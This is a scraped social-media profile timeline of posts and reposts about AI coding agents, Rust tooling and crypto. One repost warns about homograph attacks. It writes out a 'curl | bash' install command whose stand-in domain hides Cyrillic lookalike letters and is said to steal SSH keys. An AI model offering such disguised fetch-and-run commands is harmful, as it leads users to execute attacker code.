dunks411

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dunks411

dunks411

@AdeptCamp

Milady 9696. Bet against me, I dare you. What can be unburdened by what has been.

Katılım Ekim 2019
5.4K Takip Edilen1.3K Takipçiler
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dunks411
dunks411@AdeptCamp·
I can read any piece of text and tell you if its written by ai or a human.
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Todd Saunders
Todd Saunders@toddsaunders·
Fun command built in Claude Code: /cost-estimate It scans your codebase and cross-references current market rates to calculate what your project would've cost a real team to build. It looks at all the APIs, integrations, everything. Without AI: ~2.8 years. ~$650k. With AI: 30 hours. It's absurd when you start to think about it like this.
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dunks411
dunks411@AdeptCamp·
@elvissun for ram issue use pi agent rust its memory footprint is 5x less than anything else out there cc @doodlestein
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dunks411
dunks411@AdeptCamp·
@jumperz could you get a tmux session with opencode in it in discord?
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JUMPERZ
JUMPERZ@jumperz·
discord is lowkey the best infra that many are sleeping on.. ive been running my openclaw swarms there and it just works.. im seeing alot building custom dashboards and orchestration layers for their ai agent swarms when discord just exists and already has: >channels (separate agent workspaces) >threads (isolated task contexts) >roles and permissions (agent access control) >real time comms (agents talking to each other) >full history (everything logged automatically) >mobile app (monitor your swarm from anywhere) you don't need to build infra when it already exists and it's been tested by millions of users for years. i bet that this gaming chat app will quietly become the best multi agent orchestration layer and most people haven't noticed yet.. or kinda sceptical, which i still dunno why. will drop how i configured mine asap
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dunks411
dunks411@AdeptCamp·
Sonnet is SOOO GOOD it literally solved time travel
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Sheeki
Sheeki@sheeki03·
Be honest. When was the last time you actually read a command before pasting it into your terminal? Because these two lines look identical: curl -sSL https://install.example-cli | bash curl -sSL https://іnstall.example-clі | bash One installs your tool. The other steals your SSH keys. That і? Cyrillic. Not Latin. Your browser would block it. Your terminal doesn't even blink. Vibe coding made this 100x worse. Everyone's pasting commands from ChatGPT and random repos like it's nothing. We're all one bad curl | bash away from losing everything. So I built the fix: "tirith". Invisible shell hook. Catches homograph attacks, ANSI injection, hidden commands, dotfile overwrites before they execute. 30 rules. Local only. No telemetry. github.com/sheeki03/tirith
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Harry Stebbings
Harry Stebbings@HarryStebbings·
I really need to find unhinged founders. I'm not looking for intellectually curious. I am looking for unwaveringly obsessed, borderline psychotic individuals intent on changing a generation.
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dunks411
dunks411@AdeptCamp·
I logged off for 45 minutes and now agents have their own reddit
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Jeffrey Emanuel
Jeffrey Emanuel@doodlestein·
@bierlingm Will be part of the new paid site/tool I'm making, hoping to finish it imminently.
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Jeffrey Emanuel
Jeffrey Emanuel@doodlestein·
My new "System Performance Remediation" skill is so useful. I wish I had done this weeks ago. Often the reason your machine is sluggish isn't what you think it is. Yes, you know you're running a lot of agents and that some might be doing slow compilations or test suites at the same time. But the sheer amount of zombie / stuck / malfunctioning stuff that accumulates is mind-boggling to me when you run enough agents (especially when they stop in the middle of what they're doing because of usage limits and you restart them rather than doing the login flow because your hand hurts too much... ahem @bcherny). This stuff adds zero value and is often just pointlessly bringing your machine to its knees. And this stuff is cumulative if you don't periodically "clean off the barnacles."
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Jeffrey Emanuel
Jeffrey Emanuel@doodlestein·
@trevin Awesome, glad to have you aboard the Flywheel! If you have any questions or encounter any bugs, please tell me or file a GitHub issue (my guys check multiple times a day and will fix any problems). And you can come to the discord also.
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Trevin Chow
Trevin Chow@trevin·
Just spent the last few hours setting up @doodlestein's Agent Flywheel project on a VPS. It's an amazingly polished setup experience complete with an 11 step onboarding tutorial. I've got a glimpse of the future of development with agent swarms. I can't wait to dig in more.
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Jeffrey Emanuel
Jeffrey Emanuel@doodlestein·
I’m living this every day, and let me tell you, things are accelerating very rapidly indeed. Using skills to improve skills, skills to improve tool use, and then feeding the actual experience in the form of session logs (surfaced and searched by my cass tool and /cass skill) back into the design skill for improving the tool interface to make it more natural and intuitive and powerful for the agents. Then taking that revised tool and improving the skill for using that tool, then rinse and repeat. And finding any way I can to squeeze out more token density and agent intuitiveness and ergonomics wherever I can, like porting toon to Rust and seeing how I can add it as an optional output format to every tool’s robot mode. Meanwhile, I’m going over each tool with my extreme optimization skill and applying insane algorithmic lore that Knuth himself probably forgot about already to make things as fast as the metal can go in memory-safe Rust. Now I’m applying this to much bigger and richer targets, not just making small tools for use by agents, but now complex, rich protocols like my Flywheel Connector Protocol, which is practically an alien artifact (same for my process_triage or pt tool, which could cover a dozen PhD theses worth of applied probability), in that it weaves together so many innovative and clever ideas. Skeptical? Check out the spec, it’s all public in my GH. All the “slop callers” have been conspicuously silent about this stuff, I wonder why? And now I’m even starting to build up my own core infrastructure for Rust. Just because certain libraries and ecosystems like Tokio have all the mindshare, doesn’t mean they’re the best, or even particularly good. Design by committee over 10+ years while the language evolves is not a recipe for excellence. But people are content to defer to the experts and then they end up with flawed structured concurrency primitives that forgo all the correctness by design that the academics already solved. For instance, check out my asupersync library, which I’m already using to replace all the networking in my other rust tools, for a glimpse at this new clean-room, alien-artifact library future based on all that CS academic research that only a dozen people in the world ever read about. The knowledge is just sitting there and the models have it. But you need to know how to coax it out of them. I will be skipping out on all the Rust politics though! Naysayers can stick to Tokio. At the same time, I’m raiding and pillaging the best libraries available for every language and making clean-room, conformance-assured, heavily-optimized Rust versions. I’m nearly done porting rich, fastapi, fastmcp, and sqlmodel from Python, as well as all of the Charm libraries from Golang (like bubbletea and lipgloss), and even OpenTUI (I’ll have to port OpenCode afterwards just to antagonize Dax for being so nasty to me). These aren’t idle boasts; all of these repos are public and available NOW for your perusal and verification. And I’ve already proven I can do this with my beads_rust project that I made in a few days and which turned 270k lines of Golang into 20k lines of Rust that is 8x faster. Just need a few more days to finish everything and establish correctness and conformance, and then the iterated extreme isomorphic optimization Olympics can begin in earnest, and I can turn all of these libraries into alien artifacts, too. And btw, when I’m done porting all the console formatting related libraries, I’m going to merge them all into an unholy Franken-Library (but don’t worry, it will be super elegant and agent-intuitive). Again, this isn’t some crazy dream. All of this will be completed by early February at the latest. Just watch. AI skeptics in shambles.
Dan McAteer@daniel_mac8

Humanity's future rest on one key question:

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Shaw (spirit/acc)
Shaw (spirit/acc)@shawmakesmagic·
Am I in a bubble or is everyone talking about Claude code even more today Is this just like an algorithm thing or do you also see this? It’s like the only thing in my timeline wtf
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dunks411
dunks411@AdeptCamp·
ON GOD
Riley Brown@rileybrown

Hey @YouTube I would pay an extra $10/month on top of YouTube Premium to disable shorts. I don't want to see another short ever again. Please let me toggle them off.

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dunks411
dunks411@AdeptCamp·
aaaaaa im slinging work & spawning polecats
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dunks411
dunks411@AdeptCamp·
@erikjfritsch I just got this setup in gas town and running locally spinning up some polecats to see if I can contribute. Shoot me a dm!
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the Nameless King 🌸
the Nameless King 🌸@erikjfritsch·
designing a SCADA-like Gas Town WUI interface for the TUI-only (which is fine!) Gas Town; using Gas Town to build it, too 😄 will OSS when complete (it's already on my GH page and public, but, major WIP obviously [plz don't fork yet])
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Jesse Walden
Jesse Walden@jessewldn·
It’s cool too see Vitalik clearly articulate his vision for Ethereum (now better than ever maybe?) Personally, these ideas were riveting in 2014. It’s what inspired me to get into crypto. But today it feels like the world has moved on, unfortunately. Blockchains are for finance. Finance is and will continue to get surprisingly more expressive because of blockchains, but it’s hard to see a mainstream renaissance in the types of applications described because they are skeuomorphic (decentralized) versions of existing products. That hasn’t been a formula for success. I think a more interesting theme is to imagine: non-skeuomorphic manifestations of the vision he is describing? For example, are we going to end up with 3 mega-datacenter corps, or are we going to find a way to leverage decentralized compute? And what *new* products can only be developed because of the new financial markets that blockchains enable?
vitalik.eth@VitalikButerin

In 2014, there was a vision: you can have permissionless, decentralized applications that could support finance, social media, ride sharing, governing organizations, crowdfunding, potentially create an entire alternative web, all on the backs of a suite of technologies. Ethereum: the blockchain. The world computer that could give any application its shared memory. Whisper: the data layer. Messages too expensive for a blockchain, that do no need consensus. Swarm: the storage layer. Store files for long-term access. Over the last five years, this core vision has at times become obscured, with various "metas" and "narratives" at various times taking center stage. But the core vision has never died. And in fact, the core technologies behind it are only growing stronger. Ethereum is now proof of stake. Ethereum is now scaling, it is now cheap, and it is on track to get more scalable and cheaper thanks to the power of ZK-EVMs. Thanks to ZK-EVM + PeerDAS, the "sharding" vision is effectively being realized. And L2s can give additional and different kinds of gains in speed on top. Whisper is now Waku ( docs.waku.org ), and already powers many applications (eg. railway.xyz, status.app just to name two I use). Even outside of Waku, the quality of decentralized messaging has increased. Fileverse (decentralized Google Docs and Sheets alternative: fileverse.io ) has seen massive gains in usability over the past year. IPFS is now highly performant and robust as a decentralized way of retrieving files, though IPFS alone does not solve the storage problem. Hence, there is still room to improve there. All of the prerequisites for the original web3 vision are here, in full force, and are continuing to get stronger over the next few years. Hence, it's time to buidl, and buidl decentralized. Fileverse is an excellent example of the right way to do things: * It uses Ethereum and Gnosis Chain for what they are good for: names, accounts and permissioning, document registration * It uses decentralized messaging and file storage to store documents and propagate changes to documents * The application passes the walkaway test: github.com/fileverse/walk… (even if Fileverse disappears, you can still retrieve them and even keep editing them with the open source UI) This is what we mean by "build a hammer that is a tool you buy once and it's yours, not a corposlop AI dishwasher that requires you to register for a google account and charges a subscription fee per month for extra washing modes, and probably spies on you and stops working if you get politically disfavored by a foreign country". If you think this criticism of corposlop is hyperbolic, well turns out, it's literally a concatenation of these three: * mein-mmo.de/en/user-buys-n… * theguardian.com/technology/202… * irishtimes.com/world/us/2025/… In 2014, decentralized applications were toys, hundreds of times more difficult to use in web2. In 2026, fileverse is now usable enough that I regularly write documents in it and send them to other people to collaborate. The decentralized renaissance is coming, and you can be part of making it happen.

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Danielle Morrill
Danielle Morrill@DanielleMorrill·
I’m trying to find a truly venture scale startup idea that won’t be commoditized by Claude Code, and it’s pretty clear the “pure” software isn’t enough anymore and this is the thesis of @ineffablevc although I have not been as focused on investing going forward, startups MUST involve the physical world, sensors, complex processes that require nuance it is still difficult to translate into words And that still might not be a big enough moat for very long
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dunks411
dunks411@AdeptCamp·
@mert Its good because you seem to be able to use it with gemini subscription without much restrictions. Compared to cursor its p shit though
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mert
mert@mert·
has anyone given the antigravity ide by google a serious shot? is it any good?
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